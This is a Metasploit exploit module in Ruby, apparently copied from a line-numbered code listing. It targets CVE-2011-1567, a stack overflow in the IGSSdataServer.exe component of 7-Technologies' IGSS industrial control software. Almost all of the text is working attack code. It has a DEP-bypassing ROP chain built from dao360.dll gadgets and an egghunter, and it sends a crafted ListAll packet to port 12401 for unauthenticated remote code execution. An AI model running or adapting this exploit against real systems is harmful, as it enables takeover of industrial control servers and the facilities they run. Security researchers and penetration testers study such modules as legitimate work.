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| 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 160 161 162 163 164 165 166 167 168 | ## # $Id: igss9_igssdataserver_listall.rb 12639 2011-05-16 19:30:17Z sinn3r $ ## ## # This file is part of the Metasploit Framework and may be subject to # redistribution and commercial restrictions. Please see the Metasploit # Framework web site for more information on licensing and terms of use. # http://metasploit.com/framework/ ## require 'msf/core' class Metasploit3 < Msf::Exploit::Remote Rank = GoodRanking include Msf::Exploit::Remote::Egghunter include Msf::Exploit::Remote::Tcp def initialize(info={}) super(update_info(info, 'Name' => "7-Technologies IGSS <= v9.00.00 b11063 IGSSdataServer.exe Stack Overflow", 'Description'=> %q{ This module exploits a vulnerability in the igssdataserver.exe component of 7-Technologies IGSS up to version 9.00.00 b11063. While processing a ListAll command, the application fails to do proper bounds checking before copying data into a small buffer on the stack. This causes a buffer overflow and allows to overwrite a structured exception handling record on the stack, allowing for unauthenticated remote code execution. }, 'License'=> MSF_LICENSE, 'Version'=> '$Revision: 12639 $', 'Author' => [ 'Luigi Auriemma', #Initial discovery, poc 'Lincoln',#Metasploit 'corelanc0d3r', #Rop exploit, combined XP SP3 & 2003 Server 'sinn3r', #Serious Msf style policing ], 'References' => [ ['CVE', '2011-1567'], ['OSVDB', ''], ['URL', 'http://aluigi.altervista.org/adv/igss_2-adv.txt'], ], 'Payload'=> { 'BadChars' => "\x00", }, 'DefaultOptions'=> { 'ExitFunction' => 'process', }, 'Platform' => 'win', 'Targets'=> [ [ 'Windows XP SP3/2003 Server R2 SP2 (DEP Bypass)', { 'Ret'=> 0x1b77ca8c,#dao360.dll pivot 1388 bytes 'Offset' => 500 } ], ], 'Privileged' => false, 'DisclosureDate' => "March 24 2011", 'DefaultTarget'=> 0)) register_options( [ Opt::RPORT(12401) ], self.class) end def junk return rand_text(4).unpack("L")[0].to_i end def exploit eggoptions = { :checksum => false, :eggtag => 'w00t', :depmethod => 'virtualprotect', :depreg => 'esi' } badchars = "\x00" hunter,egg = generate_egghunter(payload.encoded, badchars, eggoptions) #dao360.dll - pvefindaddr rop 'n roll rop_chain = [ 0x1b7681c4,# rop nop 0x1b7681c4,# rop nop 0x1b7681c4,# rop nop 0x1b7681c4,# rop nop 0x1b7681c4,# rop nop 0x1b7681c4,# rop nop 0x1b7681c4,# rop nop 0x1b7681c4,# rop nop 0x1b7681c4,# rop nop 0x1b7681c4,# rop nop 0x1b72f174,# POP EAX # RETN 08 0xA1A10101, 0x1b7762a8,# ADD EAX,5E5F0000 # RETN 08 junk, junk, 0x1b73a55c,# XCHG EAX,EBX # RETN junk, junk, 0x1b724004,# pop ebp 0x1b72f15f,# &push esp # retn 8 0x1b72f040,# POP ECX # RETN 0x1B78F010,# writeable 0x1b7681c2,# xor eax,eax # retn 0x1b72495c,# add al,40 # mov [esi+4],eax # pop esi # retn 4 0x41414141, 0x1b76a883,# XCHG EAX,ESI # RETN 00 junk, 0x1b7785c1,# XOR EDX,EDX # CMP EAX,54 # SETE DL # MOV EAX,EDX # ADD ESP,8 # RETN 0C junk, junk, 0x1b78535c,# ADD EDX,ESI # SUB EAX,EDX # MOV DWORD PTR DS:[ECX+F8],EAX # XOR EAX,EAX # POP ESI # RETN 10 junk, junk, junk, junk, 0x1b7280b4,# POP EDI # XOR EAX,EAX # POP ESI # RETN junk, junk, junk, junk, 0x1b7681c4,# rop nop (edi) 0x90909090,# esi -> eax -> nop 0x1b72f174,# POP EAX # RETN 08 0xA1F50214,# offset to &VirtualProtect 0x1b7762a8,# ADD EAX,5E5F0000 # RETN 08 junk, junk, 0x1b73f3bd,# MOV EAX,DWORD PTR DS:[EAX] # RETN junk, junk, 0x1b76a883,# XCHG EAX,ESI # RETN 00 0x1b72f040,# pop ecx 0x1B78F010,# writeable (ecx) 0x1b764716,# PUSHAD # RETN ].pack('V*') header = "\x00\x04\x01\x00\x34\x12\x0D\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00\x01\x00\x00\x00" header << rand_text(14) sploit = rop_chain sploit << "\x90" * 10 sploit << hunter sploit << rand_text(target['Offset'] - (sploit.length)) sploit << [target.ret].pack('V') sploit << egg sploit << rand_text(2000) connect print_status("Sending request...") sock.put(header + sploit) handler disconnect end end |
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